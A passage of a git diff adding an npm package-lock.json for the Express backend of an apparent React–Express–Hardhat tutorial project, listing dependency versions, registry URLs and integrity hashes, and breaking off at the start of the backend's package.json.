+        "npmlog": "^6.0.0",
+        "rimraf": "^3.0.2",
+        "semver": "^7.3.5",
+        "tar": "^6.1.2",
+        "which": "^2.0.2"
+      },
+      "dependencies": {
+        "are-we-there-yet": {
+          "version": "3.0.1",
+          "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-3.0.1.tgz",
+          "integrity": "sha512-QZW4EDmGwlYur0Yyf/b2uGucHQMa8aFUP7eu9ddR73vvhFyt4V0Vl3QHPcTNJ8l6qYOBdxgXdnBXQrHilfRQBg==",
+          "optional": true,
+          "requires": {
+            "delegates": "^1.0.0",
+            "readable-stream": "^3.6.0"
+          }
+        },
+        "gauge": {
+          "version": "4.0.4",
+          "resolved": "https://registry.npmjs.org/gauge/-/gauge-4.0.4.tgz",
+          "integrity": "sha512-f9m+BEN5jkg6a0fZjleidjN51VE1X+mPFQ2DJ0uv1V39oCLCbsGe6yjbBnp7eK7z/+GAon99a3nHuqbuuthyPg==",
+          "optional": true,
+          "requires": {
+            "aproba": "^1.0.3 || ^2.0.0",
+            "color-support": "^1.1.3",
+            "console-control-strings": "^1.1.0",
+            "has-unicode": "^2.0.1",
+            "signal-exit": "^3.0.7",
+            "string-width": "^4.2.3",
+            "strip-ansi": "^6.0.1",
+            "wide-align": "^1.1.5"
+          }
+        },
+        "npmlog": {
+          "version": "6.0.2",
+          "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-6.0.2.tgz",
+          "integrity": "sha512-/vBvz5Jfr9dT/aFWd0FIRf+T/Q2WBsLENygUaFUqstqsycmZAP/t5BvFJTK0viFmSUxiUKTUplWy5vt+rvKIxg==",
+          "optional": true,
+          "requires": {
+            "are-we-there-yet": "^3.0.0",
+            "console-control-strings": "^1.1.0",
+            "gauge": "^4.0.3",
+            "set-blocking": "^2.0.0"
+          }
+        }
+      }
+    },
+    "nopt": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/nopt/-/nopt-5.0.0.tgz",
+      "integrity": "sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==",
+      "requires": {
+        "abbrev": "1"
+      }
+    },
+    "npmlog": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-5.0.1.tgz",
+      "integrity": "sha512-AqZtDUWOMKs1G/8lwylVjrdYgqA4d9nu8hc+0gzRxlDb1I10+FHBGMXs6aiQHFdCUUlqH99MUMuLfzWDNDtfxw==",
+      "requires": {
+        "are-we-there-yet": "^2.0.0",
+        "console-control-strings": "^1.1.0",
+        "gauge": "^3.0.0",
+        "set-blocking": "^2.0.0"
+      }
+    },
+    "object-assign": {
+      "version": "4.1.1",
+      "resolved": "https://registry.nlark.com/object-assign/download/object-assign-4.1.1.tgz?cache=0&sync_timestamp=1618846992533&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fobject-assign%2Fdownload%2Fobject-assign-4.1.1.tgz",
+      "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM="
+    },
+    "object-inspect": {
+      "version": "1.13.3",
+      "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.3.tgz",
+      "integrity": "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA=="
+    },
+    "on-finished": {
+      "version": "2.4.1",
+      "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz",
+      "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==",
+      "requires": {
+        "ee-first": "1.1.1"
+      }
+    },
+    "on-headers": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npm.taobao.org/on-headers/download/on-headers-1.0.2.tgz",
+      "integrity": "sha1-dysK5qqlJcOZ5Imt+tkMQD6zwo8="
+    },
+    "once": {
+      "version": "1.4.0",
+      "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
+      "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
+      "requires": {
+        "wrappy": "1"
+      }
+    },
+    "p-map": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/p-map/-/p-map-4.0.0.tgz",
+      "integrity": "sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==",
+      "optional": true,
+      "requires": {
+        "aggregate-error": "^3.0.0"
+      }
+    },
+    "parseurl": {
+      "version": "1.3.3",
+      "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz",
+      "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ=="
+    },
+    "path-is-absolute": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
+      "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg=="
+    },
+    "path-parse": {
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
+      "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw=="
+    },
+    "path-to-regexp": {
+      "version": "0.1.12",
+      "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.12.tgz",
+      "integrity": "sha512-RA1GjUVMnvYFxuqovrEqZoxxW5NUZqbwKtYz/Tt7nXerk0LbLblQmrsgdeOxV5SFHf0UDggjS/bSeOZwt1pmEQ=="
+    },
+    "pg-connection-string": {
+      "version": "2.5.0",
+      "resolved": "https://registry.npmjs.org/pg-connection-string/-/pg-connection-string-2.5.0.tgz",
+      "integrity": "sha512-r5o/V/ORTA6TmUnyWZR9nCj1klXCO2CEKNRlVuJptZe85QuhFayC7WeMic7ndayT5IRIR0S0xFxFi2ousartlQ=="
+    },
+    "promise-inflight": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz",
+      "integrity": "sha512-6zWPyEOFaQBJYcGMHBKTKJ3u6TBsnMFOIZSa6ce1e/ZrrsOlnHRHbabMjLiBYKp+n44X9eUI6VUPaukCXHuG4g==",
+      "optional": true
+    },
+    "promise-retry": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/promise-retry/-/promise-retry-2.0.1.tgz",
+      "integrity": "sha512-y+WKFlBR8BGXnsNlIHFGPZmyDf3DFMoLhaflAnyZgV6rG6xu+JwesTo2Q9R6XwYmtmwAFCkAk3e35jEdoeh/3g==",
+      "optional": true,
+      "requires": {
+        "err-code": "^2.0.2",
+        "retry": "^0.12.0"
+      }
+    },
+    "proxy-addr": {
+      "version": "2.0.7",
+      "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz",
+      "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==",
+      "requires": {
+        "forwarded": "0.2.0",
+        "ipaddr.js": "1.9.1"
+      }
+    },
+    "qs": {
+      "version": "6.13.0",
+      "resolved": "https://registry.npmjs.org/qs/-/qs-6.13.0.tgz",
+      "integrity": "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==",
+      "requires": {
+        "side-channel": "^1.0.6"
+      }
+    },
+    "range-parser": {
+      "version": "1.2.1",
+      "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",
+      "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg=="
+    },
+    "raw-body": {
+      "version": "2.5.2",
+      "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.2.tgz",
+      "integrity": "sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==",
+      "requires": {
+        "bytes": "3.1.2",
+        "http-errors": "2.0.0",
+        "iconv-lite": "0.4.24",
+        "unpipe": "1.0.0"
+      }
+    },
+    "readable-stream": {
+      "version": "3.6.2",
+      "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
+      "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
+      "requires": {
+        "inherits": "^2.0.3",
+        "string_decoder": "^1.1.1",
+        "util-deprecate": "^1.0.1"
+      }
+    },
+    "rechoir": {
+      "version": "0.8.0",
+      "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.8.0.tgz",
+      "integrity": "sha512-/vxpCXddiX8NGfGO/mTafwjq4aFa/71pvamip0++IQk3zG8cbCj0fifNPrjjF1XMXUne91jL9OoxmdykoEtifQ==",
+      "requires": {
+        "resolve": "^1.20.0"
+      }
+    },
+    "resolve": {
+      "version": "1.22.1",
+      "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.1.tgz",
+      "integrity": "sha512-nBpuuYuY5jFsli/JIs1oldw6fOQCBioohqWZg/2hiaOybXOft4lonv85uDOKXdf8rhyK159cxU5cDcK/NKk8zw==",
+      "requires": {
+        "is-core-module": "^2.9.0",
+        "path-parse": "^1.0.7",
+        "supports-preserve-symlinks-flag": "^1.0.0"
+      }
+    },
+    "resolve-from": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
+      "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="
+    },
+    "retry": {
+      "version": "0.12.0",
+      "resolved": "https://registry.npmjs.org/retry/-/retry-0.12.0.tgz",
+      "integrity": "sha512-9LkiTwjUh6rT555DtE9rTX+BKByPfrMzEAtnlEtdEwr3Nkffwiihqe2bWADg+OQRjt9gl6ICdmB/ZFDCGAtSow==",
+      "optional": true
+    },
+    "rimraf": {
+      "version": "3.0.2",
+      "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
+      "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
+      "requires": {
+        "glob": "^7.1.3"
+      }
+    },
+    "safe-buffer": {
+      "version": "5.1.2",
+      "resolved": "https://registry.npm.taobao.org/safe-buffer/download/safe-buffer-5.1.2.tgz",
+      "integrity": "sha1-mR7GnSluAxN0fVm9/St0XDX4go0="
+    },
+    "safer-buffer": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npm.taobao.org/safer-buffer/download/safer-buffer-2.1.2.tgz",
+      "integrity": "sha1-RPoWGwGHuVSd2Eu5GAL5vYOFzWo="
+    },
+    "semver": {
+      "version": "7.5.4",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz",
+      "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==",
+      "requires": {
+        "lru-cache": "^6.0.0"
+      }
+    },
+    "send": {
+      "version": "0.19.0",
+      "resolved": "https://registry.npmjs.org/send/-/send-0.19.0.tgz",
+      "integrity": "sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw==",
+      "requires": {
+        "debug": "2.6.9",
+        "depd": "2.0.0",
+        "destroy": "1.2.0",
+        "encodeurl": "~1.0.2",
+        "escape-html": "~1.0.3",
+        "etag": "~1.8.1",
+        "fresh": "0.5.2",
+        "http-errors": "2.0.0",
+        "mime": "1.6.0",
+        "ms": "2.1.3",
+        "on-finished": "2.4.1",
+        "range-parser": "~1.2.1",
+        "statuses": "2.0.1"
+      },
+      "dependencies": {
+        "encodeurl": {
+          "version": "1.0.2",
+          "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz",
+          "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w=="
+        },
+        "ms": {
+          "version": "2.1.3",
+          "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+          "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
+        }
+      }
+    },
+    "serve-static": {
+      "version": "1.16.2",
+      "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.16.2.tgz",
+      "integrity": "sha512-VqpjJZKadQB/PEbEwvFdO43Ax5dFBZ2UECszz8bQ7pi7wt//PWe1P6MN7eCnjsatYtBT6EuiClbjSWP2WrIoTw==",
+      "requires": {
+        "encodeurl": "~2.0.0",
+        "escape-html": "~1.0.3",
+        "parseurl": "~1.3.3",
+        "send": "0.19.0"
+      }
+    },
+    "set-blocking": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz",
+      "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw=="
+    },
+    "set-function-length": {
+      "version": "1.2.2",
+      "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz",
+      "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==",
+      "requires": {
+        "define-data-property": "^1.1.4",
+        "es-errors": "^1.3.0",
+        "function-bind": "^1.1.2",
+        "get-intrinsic": "^1.2.4",
+        "gopd": "^1.0.1",
+        "has-property-descriptors": "^1.0.2"
+      },
+      "dependencies": {
+        "function-bind": {
+          "version": "1.1.2",
+          "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
+          "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA=="
+        }
+      }
+    },
+    "setprototypeof": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
+      "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw=="
+    },
+    "side-channel": {
+      "version": "1.0.6",
+      "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.6.tgz",
+      "integrity": "sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==",
+      "requires": {
+        "call-bind": "^1.0.7",
+        "es-errors": "^1.3.0",
+        "get-intrinsic": "^1.2.4",
+        "object-inspect": "^1.13.1"
+      }
+    },
+    "signal-exit": {
+      "version": "3.0.7",
+      "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz",
+      "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ=="
+    },
+    "smart-buffer": {
+      "version": "4.2.0",
+      "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz",
+      "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==",
+      "optional": true
+    },
+    "socks": {
+      "version": "2.7.1",
+      "resolved": "https://registry.npmjs.org/socks/-/socks-2.7.1.tgz",
+      "integrity": "sha512-7maUZy1N7uo6+WVEX6psASxtNlKaNVMlGQKkG/63nEDdLOWNbiUMoLK7X4uYoLhQstau72mLgfEWcXcwsaHbYQ==",
+      "optional": true,
+      "requires": {
+        "ip": "^2.0.0",
+        "smart-buffer": "^4.2.0"
+      }
+    },
+    "socks-proxy-agent": {
+      "version": "6.2.1",
+      "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-6.2.1.tgz",
+      "integrity": "sha512-a6KW9G+6B3nWZ1yB8G7pJwL3ggLy1uTzKAgCb7ttblwqdz9fMGJUuTy3uFzEP48FAs9FLILlmzDlE2JJhVQaXQ==",
+      "optional": true,
+      "requires": {
+        "agent-base": "^6.0.2",
+        "debug": "^4.3.3",
+        "socks": "^2.6.2"
+      },
+      "dependencies": {
+        "debug": {
+          "version": "4.3.4",
+          "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+          "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+          "optional": true,
+          "requires": {
+            "ms": "2.1.2"
+          }
+        },
+        "ms": {
+          "version": "2.1.2",
+          "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+          "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
+          "optional": true
+        }
+      }
+    },
+    "sqlite3": {
+      "version": "5.1.5",
+      "resolved": "https://registry.npmjs.org/sqlite3/-/sqlite3-5.1.5.tgz",
+      "integrity": "sha512-7sP16i4wI+yKnGOO2q2ijze7EjQ9US+Vw7DYYwxfFtqNZDGgBcEw0oeDaDvUTq66uJOzVd/z6MkIg+c9erSJKg==",
+      "requires": {
+        "@mapbox/node-pre-gyp": "^1.0.0",
+        "node-addon-api": "^4.2.0",
+        "node-gyp": "8.x",
+        "tar": "^6.1.11"
+      }
+    },
+    "ssri": {
+      "version": "8.0.1",
+      "resolved": "https://registry.npmjs.org/ssri/-/ssri-8.0.1.tgz",
+      "integrity": "sha512-97qShzy1AiyxvPNIkLWoGua7xoQzzPjQ0HAH4B0rWKo7SZ6USuPcrUiAFrws0UH8RrbWmgq3LMTObhPIHbbBeQ==",
+      "optional": true,
+      "requires": {
+        "minipass": "^3.1.1"
+      },
+      "dependencies": {
+        "minipass": {
+          "version": "3.3.6",
+          "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz",
+          "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==",
+          "optional": true,
+          "requires": {
+            "yallist": "^4.0.0"
+          }
+        }
+      }
+    },
+    "statuses": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz",
+      "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ=="
+    },
+    "string-width": {
+      "version": "4.2.3",
+      "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+      "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+      "requires": {
+        "emoji-regex": "^8.0.0",
+        "is-fullwidth-code-point": "^3.0.0",
+        "strip-ansi": "^6.0.1"
+      }
+    },
+    "string_decoder": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
+      "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
+      "requires": {
+        "safe-buffer": "~5.2.0"
+      },
+      "dependencies": {
+        "safe-buffer": {
+          "version": "5.2.1",
+          "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
+          "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="
+        }
+      }
+    },
+    "strip-ansi": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+      "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+      "requires": {
+        "ansi-regex": "^5.0.1"
+      }
+    },
+    "supports-preserve-symlinks-flag": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
+      "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w=="
+    },
+    "tar": {
+      "version": "6.2.1",
+      "resolved": "https://registry.npmjs.org/tar/-/tar-6.2.1.tgz",
+      "integrity": "sha512-DZ4yORTwrbTj/7MZYq2w+/ZFdI6OZ/f9SFHR+71gIVUZhOQPHzVCLpvRnPgyaMpfWxxk/4ONva3GQSyNIKRv6A==",
+      "requires": {
+        "chownr": "^2.0.0",
+        "fs-minipass": "^2.0.0",
+        "minipass": "^5.0.0",
+        "minizlib": "^2.1.1",
+        "mkdirp": "^1.0.3",
+        "yallist": "^4.0.0"
+      },
+      "dependencies": {
+        "minipass": {
+          "version": "5.0.0",
+          "resolved": "https://registry.npmjs.org/minipass/-/minipass-5.0.0.tgz",
+          "integrity": "sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ=="
+        }
+      }
+    },
+    "tarn": {
+      "version": "3.0.2",
+      "resolved": "https://registry.npmjs.org/tarn/-/tarn-3.0.2.tgz",
+      "integrity": "sha512-51LAVKUSZSVfI05vjPESNc5vwqqZpbXCsU+/+wxlOrUjk2SnFTt97v9ZgQrD4YmxYW1Px6w2KjaDitCfkvgxMQ=="
+    },
+    "tildify": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/tildify/-/tildify-2.0.0.tgz",
+      "integrity": "sha512-Cc+OraorugtXNfs50hU9KS369rFXCfgGLpfCfvlc+Ud5u6VWmUQsOAa9HbTvheQdYnrdJqqv1e5oIqXppMYnSw=="
+    },
+    "toidentifier": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",
+      "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA=="
+    },
+    "tr46": {
+      "version": "0.0.3",
+      "resolved": "https://registry.npmjs.org/tr46/-/tr46-0.0.3.tgz",
+      "integrity": "sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw=="
+    },
+    "type-is": {
+      "version": "1.6.18",
+      "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz",
+      "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==",
+      "requires": {
+        "media-typer": "0.3.0",
+        "mime-types": "~2.1.24"
+      }
+    },
+    "unique-filename": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-1.1.1.tgz",
+      "integrity": "sha512-Vmp0jIp2ln35UTXuryvjzkjGdRyf9b2lTXuSYUiPmzRcl3FDtYqAwOnTJkAngD9SWhnoJzDbTKwaOrZ+STtxNQ==",
+      "optional": true,
+      "requires": {
+        "unique-slug": "^2.0.0"
+      }
+    },
+    "unique-slug": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-2.0.2.tgz",
+      "integrity": "sha512-zoWr9ObaxALD3DOPfjPSqxt4fnZiWblxHIgeWqW8x7UqDzEtHEQLzji2cuJYQFCU6KmoJikOYAZlrTHHebjx2w==",
+      "optional": true,
+      "requires": {
+        "imurmurhash": "^0.1.4"
+      }
+    },
+    "unpipe": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
+      "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ=="
+    },
+    "util-deprecate": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
+      "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw=="
+    },
+    "utils-merge": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz",
+      "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA=="
+    },
+    "vary": {
+      "version": "1.1.2",
+      "resolved": "https://registry.nlark.com/vary/download/vary-1.1.2.tgz",
+      "integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw="
+    },
+    "webidl-conversions": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-3.0.1.tgz",
+      "integrity": "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ=="
+    },
+    "whatwg-url": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-5.0.0.tgz",
+      "integrity": "sha512-saE57nupxk6v3HY35+jzBwYa0rKSy0XR8JSxZPwgLr7ys0IBzhGviA1/TUGJLmSVqs8pb9AnvICXEuOHLprYTw==",
+      "requires": {
+        "tr46": "~0.0.3",
+        "webidl-conversions": "^3.0.0"
+      }
+    },
+    "which": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
+      "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
+      "optional": true,
+      "requires": {
+        "isexe": "^2.0.0"
+      }
+    },
+    "wide-align": {
+      "version": "1.1.5",
+      "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.5.tgz",
+      "integrity": "sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==",
+      "requires": {
+        "string-width": "^1.0.2 || 2 || 3 || 4"
+      }
+    },
+    "wrappy": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
+      "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ=="
+    },
+    "yallist": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+      "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
+    }
+  }
+}
diff --git a/basic/11-react-express-hardhat/backend/package.json b/basic/11-react-express-hardhat/backend/package.json
new file mode 100644
index 000000000..4be4c1147
--- /dev/null
+++ b/basic/11-react-express-hardhat/backend/package.json
@@ -0,0 +1,20 @@
+{
+  "name": "backend",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
